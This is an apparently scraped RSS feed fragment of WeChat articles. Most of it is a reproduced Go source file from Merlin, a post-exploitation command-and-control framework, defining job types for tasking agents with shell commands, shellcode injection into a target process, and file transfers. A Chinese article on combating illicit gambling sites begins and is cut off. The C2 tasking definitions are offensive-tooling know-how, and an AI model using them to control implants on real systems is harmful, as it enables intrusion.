var(--monospace);font-size: 0.9em;break-inside: avoid;text-align: left;white-space: normal;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(170, 85, 0);">// Merlin is a post-exploitation command and control framework.</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(170, 85, 0);">// This file is part of Merlin.</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(170, 85, 0);">// Copyright (C) 2021  Russel Van Tuyl</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(170, 85, 0);">// Merlin is free software: you can redistribute it and/or modify</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(170, 85, 0);">// it under the terms of the GNU General Public License as published by</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(170, 85, 0);">// the Free Software Foundation, either version 3 of the License, or</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(170, 85, 0);">// any later version.</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(170, 85, 0);">// Merlin is distributed in the hope that it will be useful,</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(170, 85, 0);">// but WITHOUT ANY WARRANTY; without even the implied warranty of</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(170, 85, 0);">// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(170, 85, 0);">// GNU General Public License for more details.</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(170, 85, 0);">// You should have received a copy of the GNU General Public License</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(170, 85, 0);">// along with Merlin.  If not, see &lt;<a href="http://www.gnu.org/licenses/" target="_blank">http://www.gnu.org/licenses/</a>&gt;.</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(119, 0, 136);">package</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">jobs</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(170, 85, 0);">// TODO Does it makes sense to move this under pkg/agents/jobs?</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(119, 0, 136);">import</span> (</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">   <span style="box-sizing: border-box;color: rgb(170, 85, 0);">// Standard</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">   <span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;encoding/gob&#34;</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">   <span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;fmt&#34;</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">   <span style="box-sizing: border-box;color: rgb(170, 85, 0);">// 3rd Party</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">   <span style="box-sizing: border-box;color: rgb(0, 0, 0);">uuid</span> <span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;github.com/satori/go.uuid&#34;</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">)</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(170, 85, 0);">// init registers message types with gob that are an interface for Base.Payload</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(119, 0, 136);">func</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">init</span>() {</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">   <span style="box-sizing: border-box;color: rgb(0, 0, 0);">gob</span><span style="box-sizing: border-box;color: rgb(17, 102, 68);">.</span><span style="box-sizing: border-box;color: rgb(0, 0, 0);">Register</span>([]<span style="box-sizing: border-box;color: rgb(0, 0, 0);">Job</span>{})</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">   <span style="box-sizing: border-box;color: rgb(0, 0, 0);">gob</span><span style="box-sizing: border-box;color: rgb(17, 102, 68);">.</span><span style="box-sizing: border-box;color: rgb(0, 0, 0);">Register</span>(<span style="box-sizing: border-box;color: rgb(0, 0, 0);">Command</span>{})</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">   <span style="box-sizing: border-box;color: rgb(0, 0, 0);">gob</span><span style="box-sizing: border-box;color: rgb(17, 102, 68);">.</span><span style="box-sizing: border-box;color: rgb(0, 0, 0);">Register</span>(<span style="box-sizing: border-box;color: rgb(0, 0, 0);">Shellcode</span>{})</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">   <span style="box-sizing: border-box;color: rgb(0, 0, 0);">gob</span><span style="box-sizing: border-box;color: rgb(17, 102, 68);">.</span><span style="box-sizing: border-box;color: rgb(0, 0, 0);">Register</span>(<span style="box-sizing: border-box;color: rgb(0, 0, 0);">FileTransfer</span>{})</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">   <span style="box-sizing: border-box;color: rgb(0, 0, 0);">gob</span><span style="box-sizing: border-box;color: rgb(17, 102, 68);">.</span><span style="box-sizing: border-box;color: rgb(0, 0, 0);">Register</span>(<span style="box-sizing: border-box;color: rgb(0, 0, 0);">Results</span>{})</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">}</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(119, 0, 136);">const</span> (</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">   <span style="box-sizing: border-box;color: rgb(170, 85, 0);">// CREATED is used to denote that job has been created</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">   <span style="box-sizing: border-box;color: rgb(0, 0, 0);">CREATED</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">=</span> <span style="box-sizing: border-box;color: rgb(17, 102, 68);">1</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">   <span style="box-sizing: border-box;color: rgb(170, 85, 0);">// SENT is used to denote that the job has been sent to the Agent</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">   <span style="box-sizing: border-box;color: rgb(0, 0, 0);">SENT</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">=</span> <span style="box-sizing: border-box;color: rgb(17, 102, 68);">2</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">   <span style="box-sizing: border-box;color: rgb(170, 85, 0);">// RETURNED is for when a chunk has been returned but the job hasn&#39;t finished running</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">   <span style="box-sizing: border-box;color: rgb(0, 0, 0);">RETURNED</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">=</span> <span style="box-sizing: border-box;color: rgb(17, 102, 68);">3</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">   <span style="box-sizing: border-box;color: rgb(170, 85, 0);">// COMPLETE is used to denote that the job has finished running and the Agent has sent back the results</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">   <span style="box-sizing: border-box;color: rgb(0, 0, 0);">COMPLETE</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">=</span> <span style="box-sizing: border-box;color: rgb(17, 102, 68);">4</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">   <span style="box-sizing: border-box;color: rgb(170, 85, 0);">// CANCELED is used to denoted jobs that were cancelled with the &#34;clear&#34; command</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">   <span style="box-sizing: border-box;color: rgb(0, 0, 0);">CANCELED</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">=</span> <span style="box-sizing: border-box;color: rgb(17, 102, 68);">5</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">   <span style="box-sizing: border-box;color: rgb(170, 85, 0);">// To Agent</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">   <span style="box-sizing: border-box;color: rgb(170, 85, 0);">// CMD is used to send CmdPayload messages</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">   <span style="box-sizing: border-box;color: rgb(0, 0, 0);">CMD</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">=</span> <span style="box-sizing: border-box;color: rgb(17, 102, 68);">10</span> <span style="box-sizing: border-box;color: rgb(170, 85, 0);">// CmdPayload</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">   <span style="box-sizing: border-box;color: rgb(170, 85, 0);">// CONTROL is used to send AgentControl messages</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">   <span style="box-sizing: border-box;color: rgb(0, 0, 0);">CONTROL</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">=</span> <span style="box-sizing: border-box;color: rgb(17, 102, 68);">11</span> <span style="box-sizing: border-box;color: rgb(170, 85, 0);">// AgentControl</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">   <span style="box-sizing: border-box;color: rgb(170, 85, 0);">// SHELLCODE is used to send shellcode messages</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">   <span style="box-sizing: border-box;color: rgb(0, 0, 0);">SHELLCODE</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">=</span> <span style="box-sizing: border-box;color: rgb(17, 102, 68);">12</span> <span style="box-sizing: border-box;color: rgb(170, 85, 0);">// Shellcode</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">   <span style="box-sizing: border-box;color: rgb(170, 85, 0);">// NATIVE is used to send NativeCmd messages</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">   <span style="box-sizing: border-box;color: rgb(0, 0, 0);">NATIVE</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">=</span> <span style="box-sizing: border-box;color: rgb(17, 102, 68);">13</span> <span style="box-sizing: border-box;color: rgb(170, 85, 0);">// NativeCmd</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">   <span style="box-sizing: border-box;color: rgb(170, 85, 0);">// FILETRANSFER is used to send FileTransfer messages for upload/download operations</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">   <span style="box-sizing: border-box;color: rgb(0, 0, 0);">FILETRANSFER</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">=</span> <span style="box-sizing: border-box;color: rgb(17, 102, 68);">14</span> <span style="box-sizing: border-box;color: rgb(170, 85, 0);">// FileTransfer</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">   <span style="box-sizing: border-box;color: rgb(170, 85, 0);">// OK is used to signify that there is nothing to do, or to idle</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">   <span style="box-sizing: border-box;color: rgb(0, 0, 0);">OK</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">=</span> <span style="box-sizing: border-box;color: rgb(17, 102, 68);">15</span> <span style="box-sizing: border-box;color: rgb(170, 85, 0);">// ServerOK</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">   <span style="box-sizing: border-box;color: rgb(170, 85, 0);">// MODULE is used to send Module messages</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">   <span style="box-sizing: border-box;color: rgb(0, 0, 0);">MODULE</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">=</span> <span style="box-sizing: border-box;color: rgb(17, 102, 68);">16</span> <span style="box-sizing: border-box;color: rgb(170, 85, 0);">// Module</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">   <span style="box-sizing: border-box;color: rgb(170, 85, 0);">// From Agent</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">   <span style="box-sizing: border-box;color: rgb(170, 85, 0);">// RESULT is used by the Agent to return a result message</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">   <span style="box-sizing: border-box;color: rgb(0, 0, 0);">RESULT</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">=</span> <span style="box-sizing: border-box;color: rgb(17, 102, 68);">20</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">   <span style="box-sizing: border-box;color: rgb(170, 85, 0);">// AGENTINFO is used by the Agent to return information about its configuration</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">   <span style="box-sizing: border-box;color: rgb(0, 0, 0);">AGENTINFO</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">=</span> <span style="box-sizing: border-box;color: rgb(17, 102, 68);">21</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">)</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(170, 85, 0);">// Job is used to task an agent to run a command</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(119, 0, 136);">type</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">Job</span> <span style="box-sizing: border-box;color: rgb(119, 0, 136);">struct</span> {</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">   <span style="box-sizing: border-box;color: rgb(0, 0, 0);">AgentID</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">uuid</span><span style="box-sizing: border-box;color: rgb(17, 102, 68);">.</span><span style="box-sizing: border-box;color: rgb(0, 0, 0);">UUID</span>   <span style="box-sizing: border-box;color: rgb(170, 85, 0);">// ID of the agent the job belong to</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">   <span style="box-sizing: border-box;color: rgb(0, 0, 0);">ID</span>      <span style="box-sizing: border-box;color: rgb(119, 0, 136);">string</span>      <span style="box-sizing: border-box;color: rgb(170, 85, 0);">// Unique identifier for each job</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">   <span style="box-sizing: border-box;color: rgb(0, 0, 0);">Token</span>   <span style="box-sizing: border-box;color: rgb(0, 0, 0);">uuid</span><span style="box-sizing: border-box;color: rgb(17, 102, 68);">.</span><span style="box-sizing: border-box;color: rgb(0, 0, 0);">UUID</span>   <span style="box-sizing: border-box;color: rgb(170, 85, 0);">// A unique token for each task that acts like a CSRF token to prevent multiple job messages</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">   <span style="box-sizing: border-box;color: rgb(0, 0, 0);">Type</span>    <span style="box-sizing: border-box;color: rgb(119, 0, 136);">int</span>         <span style="box-sizing: border-box;color: rgb(170, 85, 0);">// The type of job it is (e.g., FileTransfer</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">   <span style="box-sizing: border-box;color: rgb(0, 0, 0);">Payload</span> <span style="box-sizing: border-box;color: rgb(119, 0, 136);">interface</span>{} <span style="box-sizing: border-box;color: rgb(170, 85, 0);">// Embedded messages of various types</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">}</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(170, 85, 0);">// Command is the structure to send a task for the agent to execute</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(119, 0, 136);">type</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">Command</span> <span style="box-sizing: border-box;color: rgb(119, 0, 136);">struct</span> {</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">   <span style="box-sizing: border-box;color: rgb(0, 0, 0);">Command</span> <span style="box-sizing: border-box;color: rgb(119, 0, 136);">string</span>   <span style="box-sizing: border-box;color: rgb(170, 17, 17);">`json:&#34;command&#34;`</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">   <span style="box-sizing: border-box;color: rgb(0, 0, 0);">Args</span>    []<span style="box-sizing: border-box;color: rgb(119, 0, 136);">string</span> <span style="box-sizing: border-box;color: rgb(170, 17, 17);">`json:&#34;args&#34;`</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">}</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(170, 85, 0);">// Shellcode is a JSON payload containing shellcode and the method for execution</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(119, 0, 136);">type</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">Shellcode</span> <span style="box-sizing: border-box;color: rgb(119, 0, 136);">struct</span> {</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">   <span style="box-sizing: border-box;color: rgb(0, 0, 0);">Method</span> <span style="box-sizing: border-box;color: rgb(119, 0, 136);">string</span> <span style="box-sizing: border-box;color: rgb(170, 17, 17);">`json:&#34;method&#34;`</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">   <span style="box-sizing: border-box;color: rgb(0, 0, 0);">Bytes</span>  <span style="box-sizing: border-box;color: rgb(119, 0, 136);">string</span> <span style="box-sizing: border-box;color: rgb(170, 17, 17);">`json:&#34;bytes&#34;`</span>         <span style="box-sizing: border-box;color: rgb(170, 85, 0);">// Base64 string of shellcode bytes</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">   <span style="box-sizing: border-box;color: rgb(0, 0, 0);">PID</span>    <span style="box-sizing: border-box;color: rgb(119, 0, 136);">uint32</span> <span style="box-sizing: border-box;color: rgb(170, 17, 17);">`json:&#34;pid,omitempty&#34;`</span> <span style="box-sizing: border-box;color: rgb(170, 85, 0);">// Process ID for remote injection</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">}</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(170, 85, 0);">// FileTransfer is the JSON payload to transfer files between the server and agent</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(119, 0, 136);">type</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">FileTransfer</span> <span style="box-sizing: border-box;color: rgb(119, 0, 136);">struct</span> {</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">   <span style="box-sizing: border-box;color: rgb(0, 0, 0);">FileLocation</span> <span style="box-sizing: border-box;color: rgb(119, 0, 136);">string</span> <span style="box-sizing: border-box;color: rgb(170, 17, 17);">`json:&#34;dest&#34;`</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">   <span style="box-sizing: border-box;color: rgb(0, 0, 0);">FileBlob</span>     <span style="box-sizing: border-box;color: rgb(119, 0, 136);">string</span> <span style="box-sizing: border-box;color: rgb(170, 17, 17);">`json:&#34;blob&#34;`</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">   <span style="box-sizing: border-box;color: rgb(0, 0, 0);">IsDownload</span>   <span style="box-sizing: border-box;color: rgb(119, 0, 136);">bool</span>   <span style="box-sizing: border-box;color: rgb(170, 17, 17);">`json:&#34;download&#34;`</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">}</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(170, 85, 0);">// Results is a JSON payload that contains the results of an executed command from an agent</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(119, 0, 136);">type</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">Results</span> <span style="box-sizing: border-box;color: rgb(119, 0, 136);">struct</span> {</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">   <span style="box-sizing: border-box;color: rgb(0, 0, 0);">Stdout</span> <span style="box-sizing: border-box;color: rgb(119, 0, 136);">string</span> <span style="box-sizing: border-box;color: rgb(170, 17, 17);">`json:&#34;stdout&#34;`</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">   <span style="box-sizing: border-box;color: rgb(0, 0, 0);">Stderr</span> <span style="box-sizing: border-box;color: rgb(119, 0, 136);">string</span> <span style="box-sizing: border-box;color: rgb(170, 17, 17);">`json:&#34;stderr&#34;`</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">}</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(170, 85, 0);">// String returns the text representation of a message constant</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(119, 0, 136);">func</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">String</span>(<span style="box-sizing: border-box;color: rgb(0, 0, 0);">jobType</span> <span style="box-sizing: border-box;color: rgb(119, 0, 136);">int</span>) <span style="box-sizing: border-box;color: rgb(119, 0, 136);">string</span> {</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">   <span style="box-sizing: border-box;color: rgb(119, 0, 136);">switch</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">jobType</span> {</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">   <span style="box-sizing: border-box;color: rgb(119, 0, 136);">case</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">CMD</span>:</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">      <span style="box-sizing: border-box;color: rgb(119, 0, 136);">return</span> <span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;Command&#34;</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">   <span style="box-sizing: border-box;color: rgb(119, 0, 136);">case</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">CONTROL</span>:</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">      <span style="box-sizing: border-box;color: rgb(119, 0, 136);">return</span> <span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;AgentControl&#34;</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">   <span style="box-sizing: border-box;color: rgb(119, 0, 136);">case</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">SHELLCODE</span>:</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">      <span style="box-sizing: border-box;color: rgb(119, 0, 136);">return</span> <span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;Shellcode&#34;</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">   <span style="box-sizing: border-box;color: rgb(119, 0, 136);">case</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">NATIVE</span>:</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">      <span style="box-sizing: border-box;color: rgb(119, 0, 136);">return</span> <span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;Native&#34;</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">   <span style="box-sizing: border-box;color: rgb(119, 0, 136);">case</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">FILETRANSFER</span>:</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">      <span style="box-sizing: border-box;color: rgb(119, 0, 136);">return</span> <span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;FileTransfer&#34;</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">   <span style="box-sizing: border-box;color: rgb(119, 0, 136);">case</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">OK</span>:</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">      <span style="box-sizing: border-box;color: rgb(119, 0, 136);">return</span> <span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;ServerOK&#34;</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">   <span style="box-sizing: border-box;color: rgb(119, 0, 136);">case</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">MODULE</span>:</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">      <span style="box-sizing: border-box;color: rgb(119, 0, 136);">return</span> <span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;Module&#34;</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">   <span style="box-sizing: border-box;color: rgb(119, 0, 136);">case</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">RESULT</span>:</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">      <span style="box-sizing: border-box;color: rgb(119, 0, 136);">return</span> <span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;Result&#34;</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">   <span style="box-sizing: border-box;color: rgb(119, 0, 136);">case</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">AGENTINFO</span>:</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">      <span style="box-sizing: border-box;color: rgb(119, 0, 136);">return</span> <span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;AgentInfo&#34;</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">   <span style="box-sizing: border-box;color: rgb(119, 0, 136);">default</span>:</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">      <span style="box-sizing: border-box;color: rgb(119, 0, 136);">return</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">fmt</span><span style="box-sizing: border-box;color: rgb(17, 102, 68);">.</span><span style="box-sizing: border-box;color: rgb(0, 0, 0);">Sprintf</span>(<span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;Invalid job type: %d&#34;</span>, <span style="box-sizing: border-box;color: rgb(0, 0, 0);">jobType</span>)</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">   }</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">}</span></pre><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247483704">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=fa2bc476&amp;r=1&amp;u=http%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzUyOTI5MTM4OQ%3D%3D%26mid%3D2247483704%26idx%3D1%26sn%3Db42703396ce28d22e167f762f99237bc">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Sat, 22 Oct 2022 01:52:00 +0800</pubDate>
    </item>
    <item>
      <title>黑灰产站点打击的类型及方法</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzUyOTI5MTM4OQ==&amp;mid=2247483688&amp;idx=1&amp;sn=af86cde5e101852af10974490ab30562</link>
      <description>黑灰产案件打击的方式方法总结</description>
      <content:encoded><![CDATA[<p>
原创 <span>鲁平</span> <span>2022-06-10 23:10</span> <span style="display: inline-block;">北京</span>
</p>

<p>黑灰产案件打击的方式方法总结</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=7371178e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FkEgicicM5SiaCfeMHCXoua3GTibmwUQxbr09efqCLZtEVHly14vcBzb55HcecKbPHCHUGeslBwpGHJUxsVia3IHVavw%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<h4 cid="n2" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.25em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.4;cursor: text;white-space: pre-wrap;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-style: initial;text-decoration-color: initial;"><span md-inline="plain" style="box-sizing: border-box;">菠菜包网</span></h4><p cid="n3" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-style: initial;text-decoration-color: initial;"><span md-inline="plain" style="box-sizing: border-box;">菠菜包网根据技术团队实力，介入度，团队存活时间不同分为以下几种形式</span></p><ul class="list-paddingleft-1" cid="n4" mdtype="list" data-mark="+" style="box-sizing: border-box;margin: 0.8em 0px;padding-left: 30px;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-style: initial;text-decoration-color: 